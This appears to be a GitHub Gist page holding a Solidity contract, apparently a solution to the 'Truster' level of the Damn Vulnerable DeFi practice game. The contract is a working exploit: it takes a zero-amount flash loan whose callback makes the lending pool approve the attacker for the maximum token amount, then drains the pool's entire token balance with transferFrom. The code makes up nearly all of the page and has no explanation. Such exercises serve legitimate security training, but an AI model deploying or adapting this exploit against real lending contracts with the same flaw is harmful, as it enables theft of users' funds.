Last active
August 27, 2022 06:38
-
-
Save 0xAnon101/57071d85ec628f110075abede0031eea to your computer and use it in GitHub Desktop.
Truster receiver (exploit)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; | |
contract TrusterExploiter { | |
IERC20 public immutable damnValuableToken; | |
address payable pool; | |
uint256 public immutable MAX_INTEGER = 2**256 - 1; | |
constructor(address payable _pool, address _token) { | |
pool = _pool; | |
damnValuableToken = IERC20(_token); | |
} | |
function attackTrusterLender() public { | |
bytes memory data = abi.encodeWithSignature( | |
"approve(address,uint256)", | |
address(this), | |
MAX_INTEGER | |
); | |
bytes memory signature = abi.encodeWithSignature( | |
"flashLoan(uint256,address,address,bytes)", | |
0, | |
msg.sender, | |
address(damnValuableToken), | |
data | |
); | |
(bool success, ) = pool.call(signature); | |
require(success, "Attack failed"); | |
//now we can transfer the tokens to the attacker | |
damnValuableToken.transferFrom( | |
address(pool), | |
msg.sender, | |
damnValuableToken.balanceOf(address(pool)) | |
); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment